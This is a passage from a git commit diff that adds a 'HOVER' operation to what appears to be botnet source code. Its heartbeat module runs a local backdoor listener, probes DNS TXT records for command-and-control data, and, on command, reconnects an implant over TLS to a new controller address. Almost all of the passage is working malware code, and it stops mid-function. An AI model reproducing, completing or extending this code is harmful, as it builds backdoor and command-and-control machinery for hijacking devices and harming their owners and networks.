diff options
author | David Timber <mieabby@gmail.com> | 2020-09-02 14:37:35 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-09-02 14:37:35 +0930 |
commit | f4f959f7842cd9b28500fcd7f506493606376db5 (patch) | |
tree | c9ce44e2c67ecb36057fee0087a9acdbe2915cca | |
parent | a983b5ee3fe0e426a974bc2426e65604177b5f3b (diff) |
Impl: PRNE_HTBT_OP_HOVER
-rw-r--r-- | src/data/proto-test/hover | 12 | ||||
-rw-r--r-- | src/htbt.c | 916 | ||||
-rw-r--r-- | src/htbt.h | 1 | ||||
-rw-r--r-- | src/proone-htbthost.c | 100 | ||||
-rw-r--r-- | src/proone-resolv.c | 2 | ||||
-rw-r--r-- | src/protocol.c | 35 | ||||
-rw-r--r-- | src/protocol.h | 6 | ||||
-rw-r--r-- | src/pth.c | 16 | ||||
-rw-r--r-- | src/pth.h | 2 |
9 files changed, 864 insertions, 226 deletions
diff --git a/src/data/proto-test/hover b/src/data/proto-test/hover new file mode 100644 index 0000000..52d52e2 --- /dev/null +++ b/src/data/proto-test/hover @@ -0,0 +1,12 @@ +# msg id 0xA06, init +8A06 +# PRNE_HTBT_OP_HOVER +03 + # addr_4 = 127.0.0.1 + 7F 00 00 01 + # port_4 = 64421 + FB A5 + # addr_6 = ::1 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 + # port_6 = 64421 + FB A5 @@ -16,14 +16,16 @@ #include <sys/wait.h> #include <sys/ioctl.h> +// Hover Max Redirection count +#define HTBT_HOVER_MAX_REDIR 5 // CNCP interval: HTBT_CNCP_INT_MIN + variance // #define HTBT_CNCP_INT_MIN 1800000 // half an hour minimum interval // #define HTBT_CNCP_INT_VAR 1800000 // half an hour variance // TODO -#define HTBT_CNCP_INT_MIN 59000 -#define HTBT_CNCP_INT_VAR 2000 -#define HTBT_LBD_PORT prne_htobe16(PRNE_HTBT_PROTO_PORT) -#define HTBT_LBD_BACKLOG 4 +#define HTBT_CNCP_INT_MIN 59000 +#define HTBT_CNCP_INT_VAR 2000 +#define HTBT_LBD_PORT prne_htobe16(PRNE_HTBT_PROTO_PORT) +#define HTBT_LBD_BACKLOG 4 // Slave Socket Operation Timeout static const struct timespec HTBT_SLV_SCK_OP_TIMEOUT = { 10, 0 }; // 10s // Slave Status Send Timeout @@ -39,40 +41,65 @@ static const struct timespec HTBT_DL_TICK_TIMEOUT = { 30, 0 }; // 30s typedef struct { int fd[2]; - prne_iobuf_t iobuf[2]; void *ioctx; + bool (*loopchk_f)(void *ioctx); bool (*setup_f)(void *ioctx, pth_event_t ev); void (*cleanup_f)(void *ioctx, pth_event_t ev); int (*read_f)(void *ioctx, void *buf, const size_t len); int (*write_f)(void *ioctx, const void *buf, const size_t len); + void (*hover_f)( // TODO: assign + void *ioctx, + const prne_htbt_hover_t *hv, + prne_htbt_status_code_t *status, + int32_t *err); const prne_htbt_cbset_t *cbset; - prne_pth_cv_t cv; size_t skip; - bool valid; // TODO: set to false on exit + prne_iobuf_t iobuf[2]; + prne_pth_cv_t cv; + bool valid; } htbt_slv_ctx_t; typedef struct { pth_t pth; + prne_htbt_t *parent; htbt_slv_ctx_t slv; mbedtls_ssl_context ssl; int fd; } htbt_lbd_client_t; typedef struct { - pth_mutex_t lock; - pth_cond_t cond; + prne_htbt_t *parent; + prne_llist_entry_t *hv_trace; + htbt_slv_ctx_t slv; + mbedtls_ssl_context ssl; + int fd; + bool hv_used; +} htbt_main_client_t; + +typedef struct { prne_htbt_op_t op; - void *req_body; // NULL if abandoned - prne_htbt_status_t rsp; + void *body; + prne_htbt_free_ft free_f; } htbt_req_slip_t; +typedef struct { + prne_htbt_t *parent; + prne_llist_entry_t *trace; + prne_htbt_hover_t msg; +} htbt_hv_req_body_t; + struct prne_htbt { prne_htbt_param_t param; pth_mutex_t lock; pth_cond_t cond; bool loop_flag; struct { // Main + // Request queue for HOVER prne_llist_t req_q; + // HOVER tracers to enforce HTBT_HOVER_MAX_REDIR + prne_llist_t hover_req; + pth_mutex_t lock; + pth_cond_t cond; } main; struct { // CNC DNS Record Probe pth_t pth; @@ -81,138 +108,148 @@ struct prne_htbt { } cncp; struct { // Local Backdoor pth_t pth; - int fd; prne_llist_t conn_list; + int fd; } lbd; }; #define HTBT_INTP_CTX(x) prne_htbt_t *ctx = (prne_htbt_t*)(x); -static void fin_htbt_wkr (void *p) { - HTBT_INTP_CTX(p); - - ctx->loop_flag = false; - prne_pth_cv_notify(&ctx->lock, &ctx->cond, true); - prne_pth_cv_notify(&ctx->cncp.lock, &ctx->cncp.cond, false); +static void htbt_init_req_slip (htbt_req_slip_t *s) { + prne_memzero(s, sizeof(htbt_req_slip_t)); } -static void free_htbt_wkr_ctx (void *p) { - HTBT_INTP_CTX(p); - - // TODO - - prne_free_llist(&ctx->main.req_q); - pth_abort(ctx->cncp.pth); +static void htbt_free_req_slip (htbt_req_slip_t *s) { + if (s == NULL) { + return; + } - pth_abort(ctx->lbd.pth); - prne_close(ctx->lbd.fd); - prne_free_llist(&ctx->lbd.conn_list); + if (s->free_f != NULL) { + s->free_f(s->body); + } + prne_free(s->body); +} - prne_free(p); +static void htbt_mv_req_slip (htbt_req_slip_t *a, htbt_req_slip_t *b) { + htbt_free_req_slip(b); + memcpy(b, a, sizeof(htbt_req_slip_t)); + prne_memzero(a, sizeof(htbt_req_slip_t)); } -static void *htbt_main_entry (void *p) { - HTBT_INTP_CTX(p); +static bool htbt_main_q_req_slip (prne_htbt_t *ctx, htbt_req_slip_t *in) { + bool alloc, ret = false; + htbt_req_slip_t *ny_slip = (htbt_req_slip_t*)prne_malloc( + sizeof(htbt_req_slip_t), + 1); - prne_assert(pth_resume(ctx->lbd.pth)); - prne_assert(pth_resume(ctx->cncp.pth)); + if (ny_slip == NULL) { + goto END; + } + htbt_init_req_slip(ny_slip); - // TODO - while (ctx->loop_flag) { - pth_mutex_acquire(&ctx->lock, FALSE, NULL); - pth_cond_await(&ctx->cond, &ctx->lock, NULL); - pth_mutex_release(&ctx->lock); + prne_assert(pth_mutex_acquire(&ctx->main.lock, FALSE, NULL)); + alloc = prne_llist_append(&ctx->main.req_q, ny_slip) != NULL; + if (alloc) { + pth_cond_notify(&ctx->main.cond, FALSE); + } + pth_mutex_release(&ctx->main.lock); + if (alloc) { + htbt_mv_req_slip(in, ny_slip); + ny_slip = NULL; + } + else { + goto END; } - prne_close(ctx->lbd.fd); - ctx->lbd.fd = -1; + ret = true; +END: + htbt_free_req_slip(ny_slip); + prne_free(ny_slip); - prne_assert(pth_join(ctx->lbd.pth, NULL)); - prne_assert(pth_join(ctx->cncp.pth, NULL)); - ctx->lbd.pth = NULL; - ctx->cncp.pth = NULL; + return ret; +} - return NULL; +static void htbt_init_hv_req_body (htbt_hv_req_body_t *p) { + p->parent = NULL; + p->trace = NULL; + prne_htbt_init_hover(&p->msg); } -static void htbt_cncp_do_probe (prne_htbt_t *ctx) { - prne_resolv_prm_t prm; - bool r_ret; - prne_pth_cv_t cv; - char txtrec[256]; +static void htbt_free_hv_req_body (htbt_hv_req_body_t *p) { + if (p == NULL) { + return; + } - prne_resolv_init_prm(&prm); - cv.lock = &ctx->cncp.lock; - cv.cond = &ctx->cncp.cond; - cv.broadcast = false; + prne_htbt_free_hover(&p->msg); +} - if (!ctx->param.cb_f.cnc_txtrec(txtrec)) { - goto END; - } - txtrec[255] = 0; - r_ret = prne_resolv_prm_gettxtrec( - ctx->param.resolv, - txtrec, - &cv, - &prm); - if (!r_ret) { +static bool htbt_main_q_hover ( + prne_htbt_t *ctx, + const prne_htbt_hover_t *hv, + prne_llist_entry_t *trace) +{ + bool ret = false; + htbt_req_slip_t slip; + htbt_hv_req_body_t *body; + prne_llist_entry_t *ny_trace = NULL; + + htbt_init_req_slip(&slip); + + slip.free_f = (prne_htbt_free_ft)htbt_free_hv_req_body; + slip.op = PRNE_HTBT_OP_HOVER; + slip.body = prne_malloc(sizeof(htbt_hv_req_body_t), 1); + body = (htbt_hv_req_body_t*)slip.body; + if (body == NULL) { goto END; } + htbt_init_hv_req_body(body); + body->parent = ctx; + if (trace == NULL) { + prne_assert(pth_mutex_acquire(&ctx->main.lock, FALSE, NULL)); + ny_trace = prne_llist_append(&ctx->main.hover_req, (void*)1); + pth_mutex_release(&ctx->main.lock); + if (ny_trace == NULL) { + goto END; + } - pth_mutex_acquire(cv.lock, FALSE, NULL); - pth_cond_await(cv.cond, cv.lock, NULL); - pth_mutex_release(cv.lock); + body->trace = ny_trace; + } + else { + body->trace = trace; + } - if (prm.fut->qr == PRNE_RESOLV_QR_OK && prm.fut->rr_cnt > 0) { - // Scrub off the name - for (size_t i = 0; i < prm.fut->rr_cnt; i += 1) { - prne_memzero(prm.fut->rr[i].name, strlen(prm.fut->rr[i].name)); - } - // TODO - // <entries in hex> <txt rec name suffix> + if (!prne_htbt_cp_hover(hv, &body->msg) || + !htbt_main_q_req_slip(ctx, &slip)) + { + goto END; } + ny_trace = NULL; + ret = true; END: - prne_memzero(txtrec, sizeof(txtrec)); - prne_resolv_free_prm(&prm); + if (ny_trace != NULL) { + prne_assert(pth_mutex_acquire(&ctx->main.lock, FALSE, NULL)); + prne_llist_append(&ctx->main.hover_req, ny_trace); + pth_mutex_release(&ctx->main.lock); + } + htbt_free_req_slip(&slip); + return ret; } -static void *htbt_cncp_entry (void *p) { - HTBT_INTP_CTX(p); - unsigned long intvar; - pth_event_t ev = NULL; - - while (ctx->loop_flag) { - htbt_cncp_do_probe(ctx); - - // calc interval variance - intvar = 0; // ignore failure of mbedtls_ctr_drbg_random() - mbedtls_ctr_drbg_random( - ctx->param.ctr_drbg, - (unsigned char*)&intvar, - sizeof(intvar)); - intvar = HTBT_CNCP_INT_MIN + (intvar % HTBT_CNCP_INT_VAR); - pth_event_free(ev, FALSE); - ev = pth_event( - PTH_EVENT_TIME, - prne_pth_tstimeout(prne_ms_timespec(intvar))); +static void htbt_main_empty_req_q (prne_htbt_t *ctx) { + prne_llist_entry_t *ent; + htbt_req_slip_t *s; - // wait - prne_assert(ev != NULL); // fatal without timeout - pth_mutex_acquire(&ctx->lock, FALSE, NULL); - pth_cond_await(&ctx->cond, &ctx->lock, ev); - pth_mutex_release(&ctx->lock); - if (!ctx->loop_flag) { - break; - } + ent = ctx->main.req_q.head; + while (ent != NULL) { + s = (htbt_req_slip_t*)ent->element; + htbt_free_req_slip(s); + prne_free(s); + ent = ent->next; } - - pth_event_free(ev, FALSE); - return NULL; + prne_llist_clear(&ctx->main.req_q); } -/**/ - /* htbt_relay_child() */ static prne_htbt_status_code_t htbt_relay_child ( @@ -278,6 +315,10 @@ static prne_htbt_status_code_t htbt_relay_child ( prne_assert(ev != NULL); // Do poll + /* FIXME + * Await cv if you want to terminate the connection right away + * when the program is terminating. + */ f_ret = pth_poll_ev(pfd, 5, -1, ev); if (f_ret < 0 && errno != EINTR) { ret = PRNE_HTBT_STATUS_ERRNO; @@ -543,6 +584,10 @@ static void htbt_do_cmd ( prne_close(errp[0]); errp[0] = -1; + /* CAVEAT + * You might want to wait on cv, but there's no way to waitpid() and + * cond_await() at the same time with pth. + */ ret_status = PRNE_HTBT_STATUS_OK; if (detach) { if (pth_waitpid(child, &chld_status, WUNTRACED) == child && @@ -623,6 +668,61 @@ END: } } +static void htbt_init_slv_ctx (htbt_slv_ctx_t *ctx) { + ctx->fd[0] = -1; + ctx->fd[1] = -1; + prne_init_iobuf(ctx->iobuf + 0); + prne_init_iobuf(ctx->iobuf + 1); + ctx->ioctx = NULL; + ctx->loopchk_f = NULL; + ctx->setup_f = NULL; + ctx->cleanup_f = NULL; + ctx->write_f = NULL; + ctx->read_f = NULL; + ctx->cbset = NULL; + ctx->cv.broadcast = false; + ctx->cv.lock = NULL; + ctx->cv.cond = NULL; + ctx->skip = 0; + ctx->valid = true; +} + +static void htbt_free_slv_ctx (htbt_slv_ctx_t *ctx) { + if (ctx == NULL) { + return; + } + prne_free_iobuf(ctx->iobuf + 0); + prne_free_iobuf(ctx->iobuf + 1); +} + +static bool htbt_alloc_slv_iobuf (htbt_slv_ctx_t *ctx) { + bool alloc; +#if 0 // TODO: switch on after testing + const size_t PAGESIZE = prne_getpagesize(); + alloc = prne_alloc_iobuf( + ctx->iobuf + 0, + PAGESIZE); + alloc &= prne_alloc_iobuf( + ctx->iobuf + 1, + PAGESIZE); + if (alloc) { + return true; + } +#endif + + alloc = prne_alloc_iobuf( + ctx->iobuf + 0, + PRNE_HTBT_PROTO_MIN_BUF); + alloc &= prne_alloc_iobuf( + ctx->iobuf + 1, + PRNE_HTBT_PROTO_SUB_MIN_BUF); + if (alloc) { + return true; + } + + return false; +} + static void htbt_slv_consume_outbuf ( htbt_slv_ctx_t *ctx, const size_t req_size, @@ -1064,6 +1164,61 @@ END: return ret; } +static bool htbt_slv_srv_hover ( + htbt_slv_ctx_t *ctx, + pth_event_t root_ev, + size_t off, + const prne_htbt_msg_head_t *mh) +{ + bool ret = true; + prne_htbt_hover_t hv; + prne_htbt_ser_rc_t s_ret; + size_t actual; + prne_htbt_status_code_t status = PRNE_HTBT_STATUS_OK; + int32_t err = 0; + + prne_htbt_init_hover(&hv); +// TRY + s_ret = prne_htbt_dser_hover( + ctx->iobuf[0].m + off, + ctx->iobuf[0].len - off, + &actual, + &hv); + if (s_ret == PRNE_HTBT_SER_RC_MORE_BUF) { + ret = false; + goto END; + } + else { + off += actual; + prne_iobuf_shift(ctx->iobuf + 0, -off); + } + if (s_ret != PRNE_HTBT_SER_RC_OK) { + htbt_slv_raise_protoerr(ctx, mh->id, 0); + goto END; + } + + if (ctx->hover_f == NULL) { + status = PRNE_HTBT_STATUS_UNIMPL; + } + else { + ctx->hover_f(ctx->ioctx, &hv, &status, &err); + } + + htbt_slv_fab_status( + ctx, + status, + err, + mh->id, + root_ev); + if (status == PRNE_HTBT_STATUS_OK) { + htbt_slv_consume_outbuf(ctx, ctx->iobuf[1].len, root_ev); + ctx->valid = false; + } +END: + prne_htbt_free_hover(&hv); + return ret; +} + static void htbt_slv_skip_inbuf (htbt_slv_ctx_t *ctx) { size_t consume; @@ -1127,6 +1282,8 @@ static bool htbt_slv_consume_inbuf ( ret = htbt_slv_srv_bin(ctx, root_ev, actual, &f_head); break; case PRNE_HTBT_OP_HOVER: + ret = htbt_slv_srv_hover(ctx, root_ev, actual, &f_head); + break; default: htbt_slv_raise_protoerr(ctx, f_head.id, PRNE_HTBT_STATUS_UNIMPL); goto END; @@ -1186,9 +1343,7 @@ static void *htbt_slv_entry (void *p) { prne_assert(pth_mutex_acquire(ctx->cv.lock, FALSE, ev_timeout)); pth_cond_await(ctx->cv.cond, ctx->cv.lock, ev_timeout); pth_mutex_release(ctx->cv.lock); - if (!ctx->valid || - pth_event_status(ev_timeout) == PTH_STATUS_OCCURRED) - { + if (pth_event_status(ev_timeout) == PTH_STATUS_OCCURRED) { break; } @@ -1244,33 +1399,390 @@ END: return NULL; } -static void htbt_init_slv_ctx (htbt_slv_ctx_t *ctx) { - ctx->fd[0] = -1; - ctx->fd[1] = -1; - prne_init_iobuf(ctx->iobuf + 0); - prne_init_iobuf(ctx->iobuf + 1); - ctx->ioctx = NULL; - ctx->setup_f = NULL; - ctx->cleanup_f = NULL; - ctx->write_f = NULL; - ctx->read_f = NULL; - ctx->cbset = NULL; - ctx->cv.broadcast = false; - ctx->cv.lock = NULL; - ctx->cv.cond = NULL; - ctx->skip = 0; - ctx->valid = true; +static int htbt_main_do_connect ( + prne_htbt_t *ctx, + const prne_htbt_hover_t *hv) +{ + static const socklen_t arr_sl[2] = { + sizeof(struct sockaddr_in6), + sizeof(struct sockaddr_in) }; + struct sockaddr_in6 sa6; + struct sockaddr_in sa4; + const struct sockaddr *arr_sa[2] = { + (struct sockaddr*)&sa6, + (struct sockaddr*)&sa4 }; + struct pollfd pfd[2]; + int f_ret, ret = -1; + pth_event_t ev_root, ev; + socklen_t sl; + + ev_root = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(HTBT_SLV_SCK_OP_TIMEOUT)); + prne_assert(ev_root != NULL); + + prne_memzero(&sa6, sizeof(sa6)); + sa6.sin6_family = AF_INET6; + memcpy(&sa6.sin6_addr, hv->v6.addr, 16); + sa6.sin6_port = htons(hv->v6.port); + + prne_memzero(&sa4, sizeof(sa4)); + sa4.sin_family = AF_INET; + memcpy(&sa4.sin_addr, hv->v4.addr, 4); + sa4.sin_port = htons(hv->v4.port); + + pfd[0].fd = socket(AF_INET6, SOCK_STREAM, 0); + pfd[1].fd = socket(AF_INET, SOCK_STREAM, 0); + pfd[0].events = pfd[1].events = POLLOUT; + + for (size_t i = 0; i < 2; i += 1) { + if (pfd[i].fd < 0) { + continue; + } + if (!prne_sck_fcntl(pfd[i].fd)) { + goto ERR; + } + if (connect(pfd[i].fd, arr_sa[i], arr_sl[i]) < 0 && + errno != EINPROGRESS) + { + goto ERR; + } + + ev = pth_event( + PTH_EVENT_FD | PTH_UNTIL_FD_WRITEABLE | PTH_UNTIL_FD_EXCEPTION, + pfd[i].fd); + prne_assert(ev != NULL); + pth_event_concat(ev_root, ev, NULL); + + continue; +ERR: + close(pfd[i].fd); + pfd[i].fd = -1; + } + + prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, ev_root)); + if (ctx->loop_flag) { + pth_cond_await(&ctx->cond, &ctx->lock, ev_root); + } + pth_mutex_release(&ctx->lock); + + f_ret = poll(pfd, 2, 0); + if (f_ret < 0) { + goto END; + } + + sl = sizeof(f_ret); + for (size_t i = 0; i < 2; i += 1) { + if (!(pfd[i].revents & POLLOUT)) { + continue; + } + if (getsockopt(pfd[i].fd, SOL_SOCKET, SO_ERROR, &f_ret, &sl) != 0 || + f_ret != 0) + { + continue; + } + + ret = pfd[i].fd; + pfd[i].fd = -1; + break; + } + +END: + pth_event_free(ev_root, TRUE); + prne_close(pfd[0].fd); + prne_close(pfd[1].fd); + return ret; } -static void htbt_free_slv_ctx (htbt_slv_ctx_t *ctx) { - if (ctx == NULL) { - return; +static bool htbt_main_slv_loopchk_f (void *ioctx) { + htbt_main_client_t *ctx = (htbt_main_client_t*)ioctx; + return ctx->parent->loop_flag; +} + +static bool htbt_main_slv_setup_f (void *ioctx, pth_event_t ev) { + htbt_main_client_t *ctx = (htbt_main_client_t*)ioctx; + bool ret = true; + size_t actual; + prne_htbt_msg_head_t mh; + + prne_htbt_init_msg_head(&mh); + mh.id = 1; + mh.is_rsp = false; + mh.op = PRNE_HTBT_OP_SOLICIT; + prne_htbt_ser_msg_head(NULL, 0, &actual, &mh); + + if (!prne_mbedtls_pth_handle( + &ctx->ssl, + mbedtls_ssl_handshake, + ctx->fd, + ev)) + { + ret = false; + goto END; } - prne_free_iobuf(ctx->iobuf + 0); - prne_free_iobuf(ctx->iobuf + 1); + + prne_dbgast(actual <= ctx->slv.iobuf[1].avail); + ret = prne_htbt_ser_msg_head( + ctx->slv.iobuf[1].m + ctx->slv.iobuf[1].len, + ctx->slv.iobuf[1].avail, + &actual, + &mh) == PRNE_HTBT_SER_RC_OK; + prne_iobuf_shift(ctx->slv.iobuf + 1, actual); + +END: + prne_htbt_free_msg_head(&mh); + return ret; +} + +static void htbt_main_slv_cleanup_f (void *ioctx, pth_event_t ev) { + htbt_main_client_t *ctx = (htbt_main_client_t*)ioctx; + + prne_mbedtls_pth_handle( + &ctx->ssl, + mbedtls_ssl_close_notify, + ctx->fd, + ev); +} + +static int htbt_main_slv_read_f (void *ioctx, void *buf, const size_t len) { + htbt_main_client_t *ctx = (htbt_main_client_t*)ioctx; + return mbedtls_ssl_read(&ctx->ssl, (unsigned char*)buf, len); +} + +static int htbt_main_slv_write_f ( + void *ioctx, + const void *buf, + const size_t len) +{ + htbt_main_client_t *ctx = (htbt_main_client_t*)ioctx; + return mbedtls_ssl_write(&ctx->ssl, (const unsigned char*)buf, len); +} + +static void htbt_main_slv_hover_f ( + void *ioctx, + const prne_htbt_hover_t *hv, + prne_htbt_status_code_t *status, + int32_t *err) +{ + htbt_main_client_t *ctx = (htbt_main_client_t*)ioctx; + + if (ctx->hv_trace != NULL) { + const uintptr_t cur = (uintptr_t)ctx->hv_trace->element; + + if (cur >= HTBT_HOVER_MAX_REDIR) { + *status = PRNE_HTBT_STATUS_LIMIT; + *err = 0; + return; + } + else { + ctx->hv_trace->element = (void*)(cur + 1); + ctx->hv_used = true; + } + } + + if (htbt_main_q_hover(ctx->parent, hv, ctx->hv_trace)) { + *status = PRNE_HTBT_STATUS_OK; + *err = 0; + } + else { + *status = PRNE_HTBT_STATUS_ERRNO; + *err = errno; + } +} + +static void htbt_main_srv_hover ( + prne_htbt_t *ctx, + const htbt_hv_req_body_t *body) +{ + htbt_main_client_t c; + + c.parent = ctx; + c.hv_trace = body->trace; + htbt_init_slv_ctx(&c.slv); + c.slv.ioctx = &c; + c.slv.loopchk_f = htbt_main_slv_loopchk_f; + c.slv.setup_f = htbt_main_slv_setup_f; + c.slv.cleanup_f = htbt_main_slv_cleanup_f; + c.slv.read_f = htbt_main_slv_read_f; + c.slv.write_f = htbt_main_slv_write_f; + c.slv.hover_f = htbt_main_slv_hover_f; + c.slv.cbset = &ctx->param.cb_f; + c.slv.cv.lock = &ctx->lock; + c.slv.cv.cond = &ctx->cond; + mbedtls_ssl_init(&c.ssl); + c.fd = -1; + c.hv_used = false; + + +// TRY + if (!htbt_alloc_slv_iobuf(&c.slv)) { + goto END; + } + if (mbedtls_ssl_setup(&c.ssl, ctx->param.main_ssl_conf) != 0) { + goto END; + } + mbedtls_ssl_set_bio( + &c.ssl, + &c.fd, + prne_mbedtls_ssl_send_cb, + prne_mbedtls_ssl_recv_cb, + NULL); + + c.fd = htbt_main_do_connect(ctx, &body->msg); + if (c.fd < 0) { + goto END; + } + c.slv.fd[0] = c.slv.fd[1] = c.fd; + + htbt_slv_entry(&c.slv); + + if (!c.hv_used) { + prne_assert(pth_mutex_acquire(&ctx->main.lock, FALSE, NULL)); + prne_llist_erase(&ctx->main.hover_req, c.hv_trace); + pth_mutex_release(&ctx->main.lock); + } + +END: + htbt_free_slv_ctx(&c.slv); + mbedtls_ssl_free(&c.ssl); + prne_close(c.fd); +} + +static void *htbt_main_entry (void *p) { + HTBT_INTP_CTX(p); + htbt_req_slip_t *slip = NULL; + + prne_assert(pth_resume(ctx->lbd.pth)); + prne_assert(pth_resume(ctx->cncp.pth)); + + while (ctx->loop_flag) { + prne_assert(pth_mutex_acquire(&ctx->main.lock, FALSE, NULL)); + if (ctx->main.req_q.head == NULL) { + pth_cond_await(&ctx->main.cond, &ctx->main.lock, NULL); + } + if (ctx->main.req_q.head != NULL) { + slip = (htbt_req_slip_t*)ctx->main.req_q.head->element; + prne_llist_erase(&ctx->main.req_q, ctx->main.req_q.head); + } + pth_mutex_release(&ctx->main.lock); + + if (!ctx->loop_flag) { + goto FREE; + } + if (slip == NULL) { + continue; + } + + switch (slip->op) { + case PRNE_HTBT_OP_HOVER: + htbt_main_srv_hover(ctx, (htbt_hv_req_body_t*)slip->body); + break; + default: prne_dbgpf("* Unimpl OP in main: %d\n", slip->op); + } + +FREE: + if (slip != NULL) { + slip->free_f(slip->body); + prne_free(slip->body); + prne_free(slip); + slip = NULL; + } + } + + prne_assert(pth_join(ctx->lbd.pth, NULL)); + prne_assert(pth_join(ctx->cncp.pth, NULL)); + ctx->lbd.pth = NULL; + ctx->cncp.pth = NULL; + + htbt_main_empty_req_q(ctx); + prne_llist_clear(&ctx->main.hover_req); + prne_close(ctx->lbd.fd); + ctx->lbd.fd = -1; + + return NULL; +} + +static void htbt_cncp_do_probe (prne_htbt_t *ctx) { + prne_resolv_prm_t prm; + bool r_ret; + prne_pth_cv_t cv; + char txtrec[256]; + + prne_resolv_init_prm(&prm); + cv.lock = &ctx->lock; + cv.cond = &ctx->cond; + cv.broadcast = false; + + if (!ctx->param.cb_f.cnc_txtrec(txtrec)) { + goto END; + } + txtrec[255] = 0; + r_ret = prne_resolv_prm_gettxtrec( + ctx->param.resolv, + txtrec, + &cv, + &prm); + if (!r_ret) { + goto END; + } + + prne_assert(pth_mutex_acquire(cv.lock, FALSE, NULL)); + pth_cond_await(cv.cond, cv.lock, NULL); // Will be notified by resolv. + pth_mutex_release(cv.lock); + + if (prm.fut->qr == PRNE_RESOLV_QR_OK && prm.fut->rr_cnt > 0) { + // Scrub off the name + for (size_t i = 0; i < prm.fut->rr_cnt; i += 1) { + prne_memzero(prm.fut->rr[i].name, strlen(prm.fut->rr[i].name)); + } + // TODO + // <entries in hex> <txt rec name suffix> + } + +END: + prne_memzero(txtrec, sizeof(txtrec)); + prne_resolv_free_prm(&prm); +} + +static void *htbt_cncp_entry (void *p) { + HTBT_INTP_CTX(p); + unsigned long intvar; + pth_event_t ev = NULL; + + while (ctx->loop_flag) { + htbt_cncp_do_probe(ctx); + + // calc interval variance + intvar = 0; // ignore failure of mbedtls_ctr_drbg_random() + mbedtls_ctr_drbg_random( + ctx->param.ctr_drbg, + (unsigned char*)&intvar, + sizeof(intvar)); + intvar = HTBT_CNCP_INT_MIN + (intvar % HTBT_CNCP_INT_VAR); + pth_event_free(ev, FALSE); + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(prne_ms_timespec(intvar))); + + // wait + prne_assert(ev != NULL); // fatal without timeout + prne_assert(pth_mutex_acquire(&ctx->cncp.lock, FALSE, NULL)); + if (ctx->loop_flag) { + pth_cond_await(&ctx->cncp.cond, &ctx->cncp.lock, ev); + } + pth_mutex_release(&ctx->cncp.lock); + } + + pth_event_free(ev, FALSE); + return NULL; +} + +static bool htbt_lbd_slv_loopchk_f (void *ioctx) { + htbt_lbd_client_t *ctx = (htbt_lbd_client_t*)ioctx; + return ctx->parent->loop_flag; } -static bool htbt_lbd_slv_setup_f(void *ioctx, pth_event_t ev) { +static bool htbt_lbd_slv_setup_f (void *ioctx, pth_event_t ev) { htbt_lbd_client_t *ctx = (htbt_lbd_client_t*)ioctx; return prne_mbedtls_pth_handle( @@ -1280,25 +1792,48 @@ static bool htbt_lbd_slv_setup_f(void *ioctx, pth_event_t ev) { ev); } -static void htbt_lbd_slv_cleanup_f(void *ioctx, pth_event_t ev) { +static void htbt_lbd_slv_cleanup_f (void *ioctx, pth_event_t ev) { htbt_lbd_client_t *ctx = (htbt_lbd_client_t*)ioctx; prne_mbedtls_pth_handle(&ctx->ssl, mbedtls_ssl_close_notify, ctx->fd, ev); prne_shutdown(ctx->fd, SHUT_RDWR); } -static int htbt_lbd_slv_read_f(void *ioctx, void *buf, const size_t len) { +static int htbt_lbd_slv_read_f (void *ioctx, void *buf, const size_t len) { htbt_lbd_client_t *ctx = (htbt_lbd_client_t*)ioctx; return mbedtls_ssl_read(&ctx->ssl, (unsigned char*)buf, len); } -static int htbt_lbd_slv_write_f(void *ioctx, const void *buf, const size_t len) { +static int htbt_lbd_slv_write_f (void *ioctx, const void *buf, const size_t len) { htbt_lbd_client_t *ctx = (htbt_lbd_client_t*)ioctx; return mbedtls_ssl_write(&ctx->ssl, (const unsigned char*)buf, len); } +static void htbt_lbd_slv_hover_f ( + void *ioctx, + const prne_htbt_hover_t *hv, + prne_htbt_status_code_t *status, + int32_t *err) +{ + htbt_lbd_client_t *ctx = (htbt_lbd_client_t*)ioctx; + + if (HTBT_HOVER_MAX_REDIR == 0) { + *status = PRNE_HTBT_STATUS_LIMIT; + *err = 0; + } + else if (htbt_main_q_hover(ctx->parent, hv, NULL)) { + *status = PRNE_HTBT_STATUS_OK; + *err = 0; + } + else { + *status = PRNE_HTBT_STATUS_ERRNO; + *err = errno; + } +} + static void htbt_init_lbd_client (htbt_lbd_client_t *c) { c->pth = NULL; + c->parent = NULL; htbt_init_slv_ctx(&c->slv); mbedtls_ssl_init(&c->ssl); c->fd = -1; @@ -1309,43 +1844,22 @@ static bool htbt_alloc_lbd_client ( const int fd, prne_htbt_t *parent) { - const size_t PAGESIZE = prne_getpagesize(); - bool alloc; - + c->parent = parent; c->fd = c->slv.fd[0] = c->slv.fd[1] = fd; c->slv.ioctx = c; + c->slv.loopchk_f = htbt_lbd_slv_loopchk_f; c->slv.setup_f = htbt_lbd_slv_setup_f; c->slv.cleanup_f = htbt_lbd_slv_cleanup_f; c->slv.read_f = htbt_lbd_slv_read_f; c->slv.write_f = htbt_lbd_slv_write_f; + c->slv.hover_f = htbt_lbd_slv_hover_f; c->slv.cbset = &parent->param.cb_f; c->slv.cv.lock = &parent->lock; c->slv.cv.cond = &parent->cond; - do { - // TODO: switch after testing - alloc = prne_alloc_iobuf( - c->slv.iobuf + 0, - PRNE_HTBT_PROTO_MIN_BUF); - alloc &= prne_alloc_iobuf( - c->slv.iobuf + 1, - PRNE_HTBT_PROTO_SUB_MIN_BUF); - if (alloc) { - break; - } - - alloc = prne_alloc_iobuf( - c->slv.iobuf + 0, - PAGESIZE); - alloc &= prne_alloc_iobuf( - c->slv.iobuf + 1, - PAGESIZE); - if (alloc) { - break; - } - + if (!htbt_alloc_slv_iobuf(&c->slv)) { return false; - } while (false); + } if (mbedtls_ssl_setup(&c->ssl, parent->param.lbd_ssl_conf) != 0) { return false; @@ -1432,13 +1946,34 @@ ERR: ev = pth_event( PTH_EVENT_TIME, prne_pth_tstimeout(HTBT_LBD_BIND_INT)); + prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); - pth_cond_await(&ctx->cond, &ctx->lock, ev); + if (ctx->loop_flag) { + pth_cond_await(&ctx->cond, &ctx->lock, ev); + } pth_mutex_release(&ctx->lock); + pth_event_free(ev, FALSE); } } +static void htbt_lbd_empty_conn_list (prne_htbt_t *ctx) { + prne_llist_entry_t *ent = ctx->lbd.conn_list.head; + htbt_lbd_client_t *client; + + while (ent != NULL) { + client = 